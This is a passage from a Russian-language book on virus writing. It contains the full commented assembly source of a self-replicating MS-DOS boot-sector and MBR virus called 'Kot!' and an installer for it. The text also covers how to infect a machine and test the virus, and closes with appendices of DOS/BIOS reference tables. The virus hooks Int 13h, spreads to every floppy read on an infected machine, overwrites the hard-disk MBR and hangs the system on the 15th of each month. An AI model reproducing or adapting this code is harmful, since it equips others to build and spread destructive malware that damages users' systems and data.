- ;ния регистра DL
- ;( он задает
- ;номер накопите-
- ;ля )
- num_head dw 0 ;Здесь вирус
- cyl_sect dw 0 ;хранит номер
- ;головки,дорожки
- ;и сектора зара-
- ;женного диска ,
- ;на которых за-
- ;писана настоя-
- ;щая загрузочная
- ;запись
- vvv dw 004ch ;Смещение к век-
- ;тору Int 13h
- ;Длина вирусного
- ;кода :
- prg_lenght equ $ - my_prg
- Вы можете спросить,почему для имени вируса отведе-
- но всего четыре байта.Дело в том,что наш вирус по-
- лучился довольно большим (421 байт - можете прове-
- рить !). Несколько раньше мы выяснили, что этот
- размер не может быть больше, чем 425 байт. А
- 425 - 421 как раз равно четырем ...
- 1.14 Пишем секцию инсталляции
- Очевидно, в таком виде, в каком сейчас существует
- наш вирус, его довольно трудно внедрить в систему.
- Поэтому для облегчения этой "вредительской" опе-
- рации напишем специальный инсталлятор. Его функция
- состоит в следующем : при старте запускающей про-
- граммы из командной строки или из - под оболочки
- заразить диск в дисководе " A ".Причем диск совсем
- не обязательно должен быть загрузочным. Далее с
- этого диска нужно загрузиться на той машине, ко-
- торую требуется заразить. При этом вирус заразит
- MBR ее жесткого диска. Теперь, после загрузки с
- винчестера, вирус будет инфицировать все читаемые
- на зараженной машине дискеты и начнет распрост-
- раняться.
- Исходя из сказанного выше, можно предложить такое
- решение :
- installer: lea si,my_prg ;Подменим коман-
- mov byte ptr [si],33h ;ду перехода на
- mov byte ptr [si + 1],0c0h ;первые три бай-
- mov byte ptr [si + 2],8eh ;та кода вируса
- ;Попробуем про-
- ;честь BOOT -
- ;сектор дискеты.
- mov ax,0201h ;
- mov cx,01h ;
- xor dx,dx ;
- lea bx,bufer ;
- int 13h ;
- jc error ;
- ;
- push es ;Получим пара-
- mov ah,08h ;метры дискеты
- xor dl,dl ;
- int 13h ;
- jnc all_good ;
- cmp ah,01h ;
- jne error ;
- mov dh,01h ;
- mov ch,27h ;
- mov cl,byte ptr bufer [18h] ;
- all_good: xor dl,dl ;
- mov num_head,dx ;
- mov cyl_sect,cx ;
- pop es ;
- ;Перепишем нас-
- ;тоящий BOOT в
- ;последний сек-
- ;тор последней
- ;дорожки на пос-
- ;ледней стороне
- mov ax,0301h ;
- lea bx,bufer ;
- int 13h ;
- jc error ;
- ;Сформируем код,
- ;который нужно
- ;записать на
- ;дискету вместо
- ;исходной BOOT -
- ;записи
- mov additor,055h ;
- lea si,bufer + 55h ;
- lea di,my_prg ;
- mov cx,prg_lenght ;
- copy_boot: mov al,byte ptr [di] ;
- mov byte ptr [si],al ;
- inc si ;
- inc di ;
- loop copy_boot ;
- mov word ptr bufer[0],053ebh ;
- ;И запишем его
- ;в первый
- ;сектор нулевой
- ;дорожки нулевой
- ;стороны дискеты
- mov ax,0301h ;
- mov cx,01h ;
- mov dx,0 ;
- lea bx,bufer ;
- int 13h ;
- jnc prg_end ;
- ;
- error: mov ah,09h ;Если была оши-
- lea dx,err_mes ;бка - выведем
- int 21h ;сообщение о ней
- ;
- prg_end: mov ax,4c00h ;Завершаем за-
- int 21h ;пускающую про-
- ;грамму
- err_mes db 'Error !$' ;Сообщение
- bufer db 512 dup ( 0 ) ;В этот буфер
- ;считывается
- ;BOOT - сектор
- ;заражаемой
- ;дискеты
- prg ends ;
- end my_prg ;
- Если вирусу не удалось заразить диск, то выдается
- сообщение " ERROR ! ". В этом случае попытку зара-
- жения просто нужно повторить.
- И еще - если вы хотите узнать, зачем понадобились
- первые четыре команды инсталлятора, вам следует
- посмотреть приводимый ниже полный текст вирусной
- программы. Обратите внимание на первую команду, а
- именно : " jmp installer ".Инсталлятор замещает ее
- кодом, устанавливающим собственный стек вируса, и
- поэтому в заражаемые сектора эта команда не по-
- падет.
- 1.15 Текст загрузочного вируса
- Ниже представлен текст предлагаемого загрузочного
- вируса :
- ; _______________________________________________
- ;| |
- ;| BOOT & MBR virus |
- ;| Especially for my readers ! |
- ;|_______________________________________________|
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- my_prg: jmp installer ;
- db 0d0h ;
- mov sp,7bfeh ;Установка собс-
- ;твенного стека
- push ax ;Сохраним в сте-
- push bx ;ке используемые
- push cx ;регистры
- push dx ;
- push si ;
- push ds ;
- push es ;
- pushf ;
- ;
- push cs ;DS = CS
- pop ds ;
- ;
- sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
- mov ax,ds:[0413h] ;два килобайта
- mov cl,6 ;памяти и вычис-
- ;лим
- sal ax,cl ;сегментный ад-
- ;рес,по которому
- ;находится полу-
- ;ченный блок
- mov es,ax ;Поместим адрес
- ;в ES
- xor si,si ;И скопируем код
- mov cx,prg_lenght ;вируса длиной
- prg_copy: db 8ah ;"prg_lenght" в
- db 9ch ;память по адре-
- additor db 00h ;су ES : 0000h
- db 7ch ;Сам код при за-
- mov byte ptr es:[si],bl;грузке помещае-
- inc si ;тся BIOS по ад-
- loop cs:prg_copy ;ресу 0000:7C00h
- ;
- push ax ;Запишем в стек
- mov ax,to_read_boot ;адрес ES:to_re-
- push ax ;ad_boot и осу-
- db 0cbh ;ществим переход
- ;на этот адрес
- to_read_boot equ $ - my_prg ;
- ;
- read_boot: push cs ;DS = CS
- pop ds ;
- ;
- xor si,si ;SI = 0
- mov es,si ;ES = SI
- ;Получим вектор
- ;Int 13h и сох-
- ;раним его :
- mov bx,word ptr es:[4ch] ;
- mov word ptr old_13h - 100h,bx ;
- mov bx,word ptr es:[4eh] ;
- mov word ptr old_13h_2 - 100h,bx ;
- ;
- mov si,vvv - 100h ;
- mov word ptr es:[si],to_new_13h ;И установим
- mov word ptr es:[si + 2],cs ;вектор Int 13h
- ;на вирусный об-
- ;работчик
- ;
- mov dx,num_head - 100h ;Считаем настоя-
- mov cx,cyl_sect - 100h ;щий загрузочный
- mov bx,7c00h ;сектор в память
- mov ax,0201h ;по адресу
- int 13h ;0000:7C00h
- push cs ;ES = CS
- pop es ;
- ;
- mov dl,0080h ;Считаем MBR
- call cs:read_mbr ;винчестера
- jc cs:to_quit ;по адресу
- ;CS:0400h, при-
- ;чем загрузка
- ;сейчас может
- ;производиться
- ;и с дискеты !
- cmp byte ptr ds:[400h],33h ;MBR уже зара-
- je cs:to_quit ;жена ?
- ;
- mov dx,0080h ;Нулевая головка
- ;первого жестко-
- ;го диска
- mov cx,000ch ;Сектор 12,
- ;дорожка 0
- mov dl_save - 100h,dl ;
- ;Сохраним эти
- ;параметры .
- call cs:write_mbr_last ;Кроме того,
- ;перепишем нас-
- ;тоящую MBR в
- ;сектор 12
- jc cs:to_quit ;нулевой дорожки
- ;на нулевой сто-
- ;роне HDD .
- xor si,si ;Сформируем код
- mov additor - 100h,00h ;для записи его
- mov cx,prg_lenght ;
- copy_vir_mbr: ;на место исход-
- mov al,byte ptr ds:[si];ной MBR
- mov byte ptr ds:[si + 400h],al ;
- inc si ;
- loop cs:copy_vir_mbr ;
- ;
- mov dx,0080h ;Запишем этот
- call cs:write_mbr ;код в первый
- ;сектор нулевой
- ;дорожки нулевой
- ;стороны винчес-
- ;тера
- to_quit: mov ah,04h ;Наш
- int 1ah ;вирус при
- jc cs:bad_clock ;загрузке по
- cmp dl,15h ;15 - м числам
- vis: je cs:vis ;вешает систему
- bad_clock: popf ;Восстановим из
- pop es ;стека
- pop ds ;регистры
- pop si ;
- pop dx ;
- pop cx ;
- pop bx ;
- pop ax ;
- ;
- db 0eah ;И отдадим упра-
- dw 7c00h ;вление настоя-
- dw 0000h ;щей загрузочной
- ;записи ( MBR )
- ;Далее следует
- ;вирусный обра-
- ;ботчик Int 13h
- to_new_13h equ $ - my_prg ;
- ;
- new_13h: pushf ;Сохраним флаги
- cmp dl,01h ;Операция с дис-
- ;ководом " A "
- ;или " B " ?
- ja cs:to_sys_13h ;Нет !
- cmp ah,02h ;Чтение ?
- jne cs:to_sys_13h ;Нет !
- cmp ch,00h ;Дорожка " 0 " ?
- jne cs:to_sys_13h ;Нет !
- cmp cl,01h ;Сектор-первый ?
- je cs:to_sys_13h ;Да !
- call cs:boot_infect ;Вызовем проце-
- ;дуру заражения
- ;BOOT - секторов
- ;дискет
- to_sys_13h: ;
- popf ;Восстановим
- ;флаги
- db 0eah ;Перейдем к сис-
- old_13h dw 0 ;темному обра-
- old_13h_2 dw 0 ;ботчику Int 13h
- boot_infect proc ;
- push ax ;Сохраним реги-
- push bx ;стры в стеке
- push cx ;прерванного
- push dx ;процесса
- push di ;
- push ds ;
- push es ;
- pushf ;
- ;
- push cs ;ES = CS
- pop es ;
- ;
- push cs ;DS = CS
- pop ds ;
- ;
- mov cx,3 ;Попробуем про-
- next_read: push cx ;честь BOOT -
- ;сектор дискеты.
- call cs:read_mbr ;На это даем три
- pop cx ;попытки (напри-
- jnc cs:inf_check ;мер,если двига-
- ;тель дисковода
- ;не успел разо-
- ;гнаться до ра-
- ;бочей скорости,
- ;то BIOS вернет
- ;ошибку -дискета
- ;сменена ! )
- xor ah,ah ;При ошибке -
- pushf ;сбросим текущий
- call dword ptr old_13h - 100h ;дисковод
- jc cs:to_jump ;и повторим
- loop cs:next_read ;чтение
- to_jump: jmp cs:restore_regs ;
- ;BOOT - сектор
- ;заражен ?
- inf_check: cmp byte ptr ds:[455h],33h
- je cs:to_jump ;Да !
- cmp word ptr ds:[40bh],200h ;512 байт в
- ;секторе ?
- jne cs:to_jump ;Нет !
- ;
- mov dl_save - 100h,dl
- mov ch,79 ;Определим
- mov dh,byte ptr ds:[415h]
- cmp dh,0f0h ;параметры
- je cs:real_80 ;дискеты
- cmp dh,0f9h ;по ее
- je cs:real_80 ;Media
- cmp dh,0fdh ;Descryptor
- jne cs:to_jump ;
- mov ch,39 ;
- real_80: mov dh,01h ;
- mov cl,byte ptr ds:[418h]
- ;Перепишем нас-
- ;тоящий BOOT в
- ;последний сек-
- ;тор последней
- ;дорожки на пос-
- ;ледней стороне
- xor dl,dl ;
- call cs:write_mbr_last ;
- jc cs:to_jump ;
- ;
- mov additor - 100h,055h;Сформируем код,
- xor di,di ;который нужно
- mov cx,prg_lenght ;записать на
- copy_vir: mov al,byte ptr ds:[di];дискету вместо
- mov byte ptr ds:[di + 455h],al ;исходной BOOT -
- inc di ;записи
- loop cs:copy_vir ;
- mov word ptr ds:[400h],053ebh ;
- ;
- xor dh,dh ;И запишем его
- call cs:write_mbr ;в первый
- ;сектор нулевой
- ;дорожки нулевой
- ;стороны дискеты
- ;
- restore_regs: ;Восстановим из
- popf ;стека регистры
- pop es ;
- pop ds ;
- pop di ;
- pop dx ;
- pop cx ;
- pop bx ;
- pop ax ;
- ret ;Выйдем из про-
- ;цедуры
- boot_infect endp ;
- read_mbr proc ;
- xor dh,dh ;
- mov ax,0201h ;Процедура
- mov bx,400h ;читает первый
- mov cx,01h ;сектор нулевой
- pushf ;дорожки нулевой
- call dword ptr old_13h - 100h ;стороны указан-
- ret ;ного накопителя
- read_mbr endp ;
- ;
- write_mbr proc ;
- mov ax,0301h ;Процедура
- mov cx,01h ;помещает вирус-
- pushf ;ный код в BOOT-
- call dword ptr old_13h - 100h ;сектор дискеты
- ret ;или записывает
- write_mbr endp ;его вместо MBR
- ;винчестера
- ;
- write_mbr_last proc ;Процедура
- ;переписывает
- ;исходную BOOT-
- ;запись или MBR
- mov num_head - 100h,dx ;в заданный
- mov cyl_sect - 100h,cx ;сектор зара-
- mov dl,dl_save - 100h ;жаемого
- ;диска
- mov ax,0301h ;
- pushf ;
- call dword ptr old_13h - 100h ;
- ret ;
- write_mbr_last endp ;
- db 'Kot!' ;Название вируса
- dl_save db 0 ;Ячейка для вре-
- ;менного хране-
- ;ния регистра DL
- ;( Он задает
- ;номер
- ;накопителя )
- num_head dw 0 ;Здесь вирус
- cyl_sect dw 0 ;хранит номер
- ;головки,дорожки
- ;и сектора , в
- ;которых запи-
- ;сана настоящая
- ;загрузочная
- ;запись
- ;зараженного
- ;диска
- vvv dw 004ch ;Смещение к век-
- ;тору Int 13h
- ;Длина вирусного
- ;кода :
- prg_lenght equ $ - my_prg
- installer: lea si,my_prg ;Подменим коман-
- mov byte ptr [si],33h ;ду перехода на
- mov byte ptr [si + 1],0c0h ;первые три бай-
- mov byte ptr [si + 2],8eh ;та кода вируса
- ;Попробуем про-
- ;честь
- ;BOOT -
- ;сектор дискеты.
- mov ax,0201h ;
- mov cx,01h ;
- xor dx,dx ;
- lea bx,bufer ;
- int 13h ;
- jc error ;
- ;
- push es ;Получим пара-
- mov ah,08h ;метры дискеты
- xor dl,dl ;
- int 13h ;
- jnc all_good ;
- cmp ah,01h ;
- jne error ;
- mov dh,01h ;
- mov ch,27h ;
- mov cl,byte ptr bufer [18h] ;
- all_good: xor dl,dl ;
- mov num_head,dx ;
- mov cyl_sect,cx ;
- pop es ;
- ;Перепишем нас-
- ;тоящий BOOT в
- ;последний сек-
- ;тор последней
- ;дорожки на пос-
- ;ледней стороне
- mov ax,0301h ;
- lea bx,bufer ;
- int 13h ;
- jc error ;
- ;Сформируем код,
- ;который нужно
- ;записать на
- ;дискету вместо
- ;исходной BOOT -
- ;записи
- mov additor,055h ;
- lea si,bufer + 55h ;
- lea di,my_prg ;
- mov cx,prg_lenght ;
- copy_boot: mov al,byte ptr [di] ;
- mov byte ptr [si],al ;
- inc si ;
- inc di ;
- loop copy_boot ;
- mov word ptr bufer[0],053ebh ;
- ;И запишем его
- ;в первый
- ;сектор нулевой
- ;дорожки нулевой
- ;стороны дискеты
- mov ax,0301h ;
- mov cx,01h ;
- mov dx,0 ;
- lea bx,bufer ;
- int 13h ;
- jnc prg_end ;
- ;
- error: mov ah,09h ;Если была оши-
- lea dx,err_mes ;бка - выведем
- int 21h ;сообщение о ней
- ;
- prg_end: mov ax,4c00h ;Завершаем за-
- int 21h ;пускающую про-
- ;грамму
- err_mes db 'Error !$' ;Сообщение
- bufer db 512 dup ( 0 ) ;В этот буфер
- ;считывается
- ;BOOT - сектор
- ;заражаемой
- ;дискеты
- prg ends ;Стандартное
- end my_prg ;окончание ASM-
- ;программы ...
- 1.16 Комментарии
- Вирус,который мы разработали в этой главе, заража-
- ет BOOT - сектора дискет и MBR жесткого диска. Как
- вы убедились, написать загрузочный вирус совсем
- несложно - гораздо легче,чем, скажем, файловый.Тем
- не менее я настоятельно рекомендую читателям по-
- пробовать " поймать " один из существующих загру-
- зочных вирусов и исследовать его работу. Для начи-
- нающих можно порекомендовать FORM или KONSTANTIN .
- Если же вы достаточно опытный вирусолог, то можете
- помериться силами с ONEHALF или другим шифрованным
- вирусом. Правда учтите, что экспериментировать с
- чужими вирусными программами надо осторожно - не-
- которые из них при трассировке вирусного кода мо-
- гут испортить " винчестер " вашего компьютера.
- 1.17 Испытание вируса
- Для проверки в действии загрузочного вируса доста-
- точно загрузиться с зараженного магнитного диска.
- Понаблюдайте, как вирус заражает дискеты и в каких
- случаях. Попробуйте найти в памяти вирусный код, а
- найдя - пройдите его отладчиком.
- Перед проведением экспериментов с предложенной
- программой обязательно скопируйте оригинальную MBR
- жесткого диска в отдельный файл на дискете. Если
- этого не сделать, вы рискуете потерять данные на
- винчестере.
- Все проверки вирусной программы рекомендуется про-
- водить с помощью программы DISKEDIT, желательно
- одной из последних версий. С помощью этой же прог-
- раммы можно " вылечить " зараженный диск, если ви-
- рус вам " надоест ".
- ЗАКЛЮЧЕНИЕ
- Эта книга задумывалась и писалась лишь для того,
- чтобы приоткрыть завесу таинственности и секретно-
- сти, которой окутана почти не овещаемая в литера-
- туре тема компьютерных вирусов . Автор ни в коем
- случае не ставил своей целью обучить пользователей
- ЭВМ разработке всевозможных "вредных" программных
- средств, а просто хотел поделиться своими знаниями
- и результатами экспериментов с широкой обществен-
- ностью .Наверняка найдется немало людей - специа-
- листов и любителей,которых интересует затронутая в
- данной работе тема .И если кто - то из них пожела-
- ет ознакомиться с предлагаемой книгой, я буду счи-
- тать, что потратил время не зря .Разработка дейст-
- вующих компьютерных вирусов - захватывающее и сло-
- жное дело, требующее немалого опыта и определенной
- теоретической базы .Надеюсь, эта книга сможет ока-
- зать вам некоторую помощь .
- К сожалению,изложение не рассчитано на начинающих,
- поэтому автору не удалось приблизить стиль книги к
- научно - популярному . Хотя это трудно отнести к
- недостаткам .
- До встречи !
- ПРИЛОЖЕНИЕ 1
- Краткий справочник по функциям MS DOS и BIOS
- *
- Справочные материалы по функциям MS DOS и BIOS
- с незначительными изменениями заимствованы из
- [1], за что автор приносит К.Г.Финогенову свои
- извинения.
- --------------------------------------------------
- Функция 09h - Вывод строки на экран.Последним сим-
- волом строки должен быть " $ "" . "
- При ошибке :
- CF = 1
- AX = код ошибки .
- Функция 4Fh - Поиск следующего файла .Почти всегда
- используется в паре с предыдущей функцией и вызы-
- вается после того, как был найден первый файл .
- Вызов : AH = 4Fh
- Возврат : имя найденного файла и его расширение
- записывается в DTA в байты 1Eh - 2Ah .За последним
- символом расширения всегда следует точка : " . "
- При ошибке :
- CF = 1
- AX = код ошибки .
- Мультиплексное прерывание INT 2Fh.Используется для
- организации взаимодействия резидентных программ с
- системой и друг с другом.Для программиста зарезер-
- вированы функции : C0h - FFh .
- Вызов : AH = 2Fh
- AL = подфункция
- Возврат : AL = 0 - программа не установлена и ее
- можно установить
- AL = 1 - программа не установлена и ее
- нельзя установить
- AL = 0FFh - программа уже установлена .
- При ошибке :
- CF = 1
- AX = код ошибки .
- --------------------------------------------------
- Прерывание INT 13h, функция 02h - чтение сектора.
- Считывает один или несколько определенных пользо-
- вателем секторов физического диска в выделенный
- буфер.Для начального сектора указываются такие ко-
- ординаты : дорожка,сектор, головка .Секторы на до-
- рожке нумеруются от единицы, дорожки и головки
- нумеруются от нуля .
- Вызов : AH = 02h
- AL = количество читаемых секторов
- CH = дорожка
- CL = начальный сектор
- DH = головка
- DL = дисковод ( 00h - 07Fh - для дискет-
- ного дисковода, 80h - 0FFh - для
- " винчестера " .
- ES : BX = адрес буфера, в который будет
- читаться информация из
- секторов
- Возврат : CF = 0
- AH = 0
- AL = количество прочитанных секторов
- При ошибке :
- CF = 1
- AH = байт состояния .
- *
- Биты регистра CX 5...0 определяют номер сектора,
- а биты 15...6 - номер дорожки !!!
- Это выглядит так :
- ____________________________________________
- | Номер бита |15 |14 |13 |12 |11 |10 | 9 | 8 |
- |------------|---|---|---|---|---|---|---|---|
- | Содержимое | | | | | | | | |
- | бита |c |c |c |c |c |c |c |c |
- |____________|___|___|___|___|___|___|___|___|
- ____________________________________________
- | Номер бита | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
- |------------|---|---|---|---|---|---|---|---|
- | Содержимое | | | | | | | | |
- | бита |C |c |S |s |s |s |s |s |
- |____________|___|___|___|___|___|___|___|___|
- Буква " C " или " c " означает, что бит при-
- надлежит номеру дорожки;
- Буква " S " или " s " означает, что бит при-
- надлежит номеру сектора.
- Таким образом, биты "7" и "6" являются старши-
- ми битами номера дорожки, а биты "5" и "4" яв-
- ляются старшими битами номера сектора.
- Прерывание INT 13h, функция 03h - запись сектора.
- Записывает один или несколько определенных пользо-
- вателем секторов на физический диск .Для начально-
- го сектора указываются такие координаты : дорожка,
- сектор, головка .Секторы на дорожке нумеруются от
- единицы, дорожки и головки нумеруются от нуля .
- Вызов : AH = 03h
- AL = количество записываемых секторов
- CH = дорожка
- CL = начальный сектор
- DH = головка
- DL = дисковод ( 00h - 07Fh - для дискет-
- ного дисковода, 80h - 0FFh - для
- " винчестера " .
- ES : BX = адрес буфера,информация из ко-
- торого будет записываться
- в сектора
- Возврат : CF = 0
- AH = 0
- AL = количество записанных секторов
- При ошибке :
- CF = 1
- AH = байт состояния .
- *
- Биты регистра CX 5...0 определяют номер сектора,
- а биты 15...6 - номер дорожки !!!
- ( см функцию 02h ).
- Прерывание INT 13h, функция 08h - получение пара-
- метров дисковода.
- Вызов : AH = 08h
- DL = дисковод ( 00h - 07Fh - для дискет-
- ного дисковода, 80h - 0FFh - для
- " винчестера " .
- Возврат : AH = 0
- BL = тип дисковода ( только AT и PS2 )
- DL = количество накопителей, обслуживае-
- мых первым контроллером
- DH = максимальный номер головки
- CL = максимальный номер сектора
- CH = максимальный номер дорожки
- ( см. функцию 02h )
- ES : DI = адрес таблицы параметров дис-
- ковода
- При ошибке :
- CF = 1
- AH = байт состояния .
- *
- Функция не работает на IBM XT для дисководов !!!
- ПРИЛОЖЕНИЕ 2
- Формат загрузочной записи для MS DOS
- различных версий
- Формат BOOT - записи для версий MS DOS до 4.0
- ________________________________________________
- |Смещение |Размер | Содержимое |
- | ( HEX ) |( DEC )| |
- |---------|-------|------------------------------|
- |00h |03 |Команда EB xx 90 перехода на |
- | | |программу начальной загрузки |
- |---------|-------|------------------------------|
- |03h |08 |Название фирмы - производителя|
- | | |и номер операционной системы |
- |---------|-------|------------------------------|
- |0Bh |13 |Блок параметров BIOS ( BPB ) |
- |---------|-------|------------------------------|
- |18h |02 |Количество секторов на дорожке|
- |---------|-------|------------------------------|
- |1Ah |02 |Количество поверхностей диска |
- |---------|-------|------------------------------|
- |1Ch |02 |Количество скрытых секторов, |
- | | |которые иногда используются |
- | | |для разбиения диска на разделы|
- |---------|-------|------------------------------|
- |1Eh |480 |Программа начальной загрузки, |
- | | |называемая загрузочной записью|
- | | |(Boot Record). |
- |---------|-------|------------------------------|
- |1FEh |02 |Код : 55 AA |
- |_________|_______|______________________________|
- Формат BOOT - записи для версии MS DOS 4.0
- ________________________________________________
- |Смещение |Размер | Содержимое |
- | ( HEX ) |( DEC )| |
- |---------|-------|------------------------------|
- |00h |03 |Команда EB xx 90 перехода на |
- | | |программу начальной загрузки |
- |---------|-------|------------------------------|
- |03h |08 |Название фирмы - производителя|
- | | |и номер операционной системы |
- |---------|-------|------------------------------|
- |0Bh |25 |Расширенный блок параметров |
- | | |BIOS ( EBPB ) |
- |---------|-------|------------------------------|
- |24h |01 |Физический номер дисковода |
- | | |( 00h - для дискетного диско- |
- | | |вода, 80h - для винчестера ) |
- |---------|-------|------------------------------|
- |25h |01 |Зарезервировано |
- |---------|-------|------------------------------|
- |26h |01 |Символ " ) " - признак расши- |
- | | |ренной загрузочной записи |
- | | |MS DOS 4.0 |
- |_________|_______|______________________________|
- |27h |04 |Серийный номер диска,создается|
- | | |во время его форматирования |
- |---------|-------|------------------------------|
- |2Bh |11 |Метка ( Volume Label ) диска, |
- | | |задается во время его форма- |
- | | |тирования |
- |---------|-------|------------------------------|
- |36h |08 |Обычно содержит запись типа |
- | | |" FAT 12 " или аналогичную |
- |_________|_______|______________________________|
- |3Eh |448 |Программа начальной загрузки, |
- | | |называемая загрузочной записью|
- | | |(Boot Record). |
- |---------|-------|------------------------------|
- |1FEh |02 |Код : 55 AA |
- |_________|_______|______________________________|
- Формат Master Boot Record ( MBR ) - главной
- загрузочной записи жесткого диска
- ________________________________________________
- |Смещение |Размер | Содержимое |
- | ( HEX ) |( DEC )| |
- |---------|-------|------------------------------|
- |00h |446 |Программа, называемая |
- | | |главной загрузочной записью |
- | | |(MBR, или Master Boot Record).|
- |---------|-------|------------------------------|
- |1BEh |16 |Элемент таблицы разделов диска|
- |---------|-------|------------------------------|
- |1CEh |16 |Элемент таблицы разделов диска|
- |---------|-------|------------------------------|
- |1DEh |16 |Элемент таблицы разделов диска|
- |---------|-------|------------------------------|
- |1EEh |16 |Элемент таблицы разделов диска|
- |---------|-------|------------------------------|
- |1FEh |02 |Код : 55 AA |
- |_________|_______|______________________________|
- Формат BPB для версий MS DOS до 4.0
- ________________________________________________
- |Смещение |Размер | Содержимое |
- | ( HEX ) |( DEC )| |
- |---------|-------|------------------------------|
- |00h |02 |Количество байтов |
- | | |в одном секторе диска |
- |---------|-------|------------------------------|
- |02h |01 |Количество секторов |
- | | |в одном кластере |
- |---------|-------|------------------------------|
- |03h |02 |Количество зарезервированных |
- | | |секторов |
- |---------|-------|------------------------------|
- |05h |01 |Количество копий FAT |
- |---------|-------|------------------------------|
- |06h |02 |Максимальное количество дес- |
- | | |крипторов файлов, содержащихся|
- | | |в корневом каталоге диска |
- |---------|-------|------------------------------|
- |08h |02 |Общее количество секторов на |
- | | |носителе данных в разделе DOS |
- |_________|_______|______________________________|
- |0Ah |01 |Байт - описатель среды носи- |
- | | |теля данных |
- |---------|-------|------------------------------|
- |0Bh |02 |Количество секторов,занимаемых|
- | | |одной копией FAT |
- |_________|_______|______________________________|
- Формат EBPB
- ________________________________________________
- |Смещение |Размер | Содержимое |
- | ( HEX ) |( DEC )| |
- |---------|-------|------------------------------|
- |00h |02 |Количество байтов |
- | | |в одном секторе диска |
- |---------|-------|------------------------------|
- |02h |01 |Количество секторов |
- | | |в одном кластере |
- |---------|-------|------------------------------|
- |03h |02 |Количество зарезервированных |
- | | |секторов |
- |---------|-------|------------------------------|
- |05h |01 |Количество копий FAT |
- |---------|-------|------------------------------|
- |06h |02 |Максимальное количество дес- |
- | | |крипторов файлов, содержащихся|
- | | |в корневом каталоге диска |
- |---------|-------|------------------------------|
- |08h |02 |Общее количество секторов на |
- | | |носителе данных в разделе DOS |
- |_________|_______|______________________________|
- |0Ah |01 |Байт - описатель среды носи- |
- | | |теля данных |
- |---------|-------|------------------------------|
- |0Bh |02 |Количество секторов,занимаемых|
- | | |одной копией FAT |
- |_________|_______|______________________________|
- |0Dh |02 |Количество секторов |
- | | |на дорожке |
- |---------|-------|------------------------------|
- |0Fh |02 |Количество головок накопителя |
- |---------|-------|------------------------------|
- |11h |02 |Количество скрытых секторов |
- | | |для раздела,который по размеру|
- | | |меньше 32 - х Мегабайт |
- |---------|-------|------------------------------|
- |13h |02 |Количество скрытых секторов |
- | | |для раздела,который по размеру|
- | | |превышает 32 Мегабайта |
- | | |( Используется только в |
- | | |MS DOS 4.0 ) |
- |---------|-------|------------------------------|
- |15h |04 |Общее количество секторов на |
- | | |логическом диске для раздела, |
- | | |который по размеру превышает |
- | | |32 Мегабайта |
- |_________|_______|______________________________|
- Параметры дискет различных типов
- ( В таблицу не вошли данные о совсем старых диске-
- тах с объемом 320 Kb, 180 Kb, 120 Kb и других ) :
- ________________________________________________
- |Диаметр | | | | | |
- |диска | 3.5" | 3.5" | 3.5" | 5.25" | 5.25 " |
- |----------|------|------|------|-------|--------|
- |Емкость | | | | | |
- |диска, Kb | 2880 | 1440 | 720 | 1200 | 360 |
- |----------|------|------|------|-------|--------|
- |Media | | | | | |
- |Descryptor| F0h | F0h | F9h | F9h | FDh |
- |----------|------|------|------|-------|--------|
- |Количество| | | | | |
- |сторон | 2 | 2 | 2 | 2 | 2 |
- |----------|------|------|------|-------|--------|
- |Количество| | | | | |
- |дорожек | 80 | 80 | 80 | 80 | 40 |
- |на стороне| | | | | |
- |----------|------|------|------|-------|--------|
- |Количество| | | | | |
- |секторов | 36 | 18 | 9 | 15 | 9 |
- |на дорожке| | | | | |
- |----------|------|------|------|-------|--------|
- |Размер | | | | | |
- |сектора | 512 | 512 | 512 | 512 | 512 |
- |----------|------|------|------|-------|--------|
- |Количество| | | | | |
- |секторов | 2 | 1 | 2 | 1 | 2 |
- |в кластере| | | | | |
- |----------|------|------|------|-------|--------|
- |Длина FAT | | | | | |
- |в секторах| 9 | 9 | 3 | 7 | 2 |
- |----------|------|------|------|-------|--------|
- |Количество| | | | | |
- |копий FAT | 2 | 2 | 2 | 2 | 2 |
- |----------|------|------|------|-------|--------|
- |Длина | | | | | |
- |корневого | | | | | |
- |каталога | 15 | 14 | 7 | 14 | 7 |
- |в секторах| | | | | |
- |__________|______|______|______|_______|________|
- ПРИЛОЖЕНИЕ 3
- КОДЫ ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ
- MS DOS и BIOS
- 00h - Ошибки нет
- 01h - Неправильный номер функции
- 02h - Файл не найден
- 03h - Путь не найден
- 04h - Слишком много открытых файлов
- 05h - Доступ запрещен
- 06h - Неправильный дескриптор
- 07h - Уничтожен блок управления памятью ( MCB -
- блок)
- 08h - Не хватает памяти
- 09h - Неправильный адрес блока памяти
- 0Ah - Неправильное окружение
- 0Bh - Неправильный формат
- 0Ch - Неправильный код доступа
- 0Dh - Неправильные данные
- 0Eh - Неизвестное устройство
- 0Fh - Неправильный дисковод
- 10h - Попытка удалить текущий каталог
- 11h - Не то же устройство
- 12h - Больше нет файлов
- 13h - Диск защищен от записи
- 14h - Неизвестное устройство
- 15h - Дисковод не готов
- 16h - Неизвестная команда
- 17h - Ошибка контрольной суммы
- 19h - Ошибка поиска дорожки
- 1Ah - Неизвестный носитель
- 1Bh - Сектор не найден
- 1Ch - В принтере нет бумаги
- 1Dh - Отказ записи
- 1Eh - Отказ чтения
- 1Fh - Общая ошибка
- 50h - Файл уже существует
- 52h - Не могу создать каталог
- 54h - Слишком много перенаправлений
- 55h - Двойное перенаправление
- 57h - Неправильный параметр
- --------------------------------------------------
- КОДЫ ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ BIOS
- 00h - Ошибки нет
- 01h - Неправильная команда
- 02h - Не найдена адресная метка
- 03h - Диск защищен от записи
- 04h - Сектор не найден
- 05h - Сброс жесткого диска не прошел
- 06h - Дискета вынута
- 07h - Неправильная таблица параметров
- жесткого диска ( HDPT - Hard Disk Parame-
- ter Table )
- 0Ch - Не найден тип носителя данных
- 0Dh - Неправильное число секторов в формате на
- жестком диске
- 10h - Невосстановимая ошибка данных
- 11h - Восстановленная ошибка данных на жестком
- диске
- 20h - Неисправность контроллера
- 40h - Ошибка позиционирования
- 80h - Тайм - аут диска
- AAh - Жесткий диск не готов
- BBh - Неизвестная ошибка жесткого диска
- ЛИТЕРАТУРА
- 1. Финогенов К .Г
- " Самоучитель по системным функциям
- MS DOS ", М.:Малип, 1993
- 2. П .Абель
- " Язык ассемблера для IBM PC и про-
- граммирования ", М.:Высшая школа,
- 1991
- 3. Хижняк П .Л
